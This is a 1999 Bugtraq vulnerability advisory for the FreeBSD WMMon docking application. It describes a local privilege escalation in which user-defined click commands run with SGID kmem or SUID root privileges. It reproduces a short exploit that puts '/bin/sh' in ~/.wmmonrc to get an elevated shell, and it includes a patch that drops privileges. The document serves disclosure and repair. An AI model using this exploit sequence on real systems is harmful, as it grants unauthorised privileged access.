FreeBSD WMMon Vulnerability

Bugtraq ID:	885
Class:	Input Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Dec 22 1999 12:00AM
Updated:	Dec 22 1999 12:00AM
Credit:	First posted to Bugtraq by Steve Reid <[email protected]> on December 21, 1999.
Vulnerable:	Windowmaker wmmon 1.0 b2 - FreeBSD FreeBSD 3.3
Not Vulnerable:

FreeBSD WMMon Vulnerability

WMMon is a multiple platform Window Maker docking application. It monitors useful system information such as CPU load and disk activity. The application also allows the user to define commands that can be launched by mouse clicks in the WMMon window. If the WMMon application is installed SUID or SGID, these privileges are not dropped before executing commands that have been defined by the user. Since the user can configure the application to execute any command, a user can run a shell or any other executable with the privileges that WMMon has been installed with. The FreeBSD ports version of WMMon installs SGID kmem and older versions installed it as SUID root.

FreeBSD WMMon Vulnerability

The following was taken directly from a Bugtraq posting by Steve Reid <[email protected]> on December 21, 1999. There is a link to this article in the credit section.

Exploit:
% id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display myworkstation.evilhacker.net:0.0
Monitoring 2 devices for activity.
{Left-click on the little window that appears}
current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve)

FreeBSD WMMon Vulnerability

Solution:
The following was taken directly from a Bugtraq posting by Steve Reid <[email protected]> on December 21, 1999. There is a link to this article in the credit section.

Here is a patch:

--- work/wmmon.app/wmmon/wmmon.c.old Thu Dec 2 02:06:55 1999
+++ work/wmmon.app/wmmon/wmmon.c Thu Dec 2 04:20:22 1999
@@ -318,6 +318,8 @@

if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); }
+ if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */
+ if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */
if (kvmd) {
if (kvm_nlist(kvmd, nl) >= 0) {
struct nlist *nlp;

FreeBSD WMMon Vulnerability

References:

• FreeBSD Security Information (FreeBSD)
  
• WMMon Information Page (Everything Windowmaker)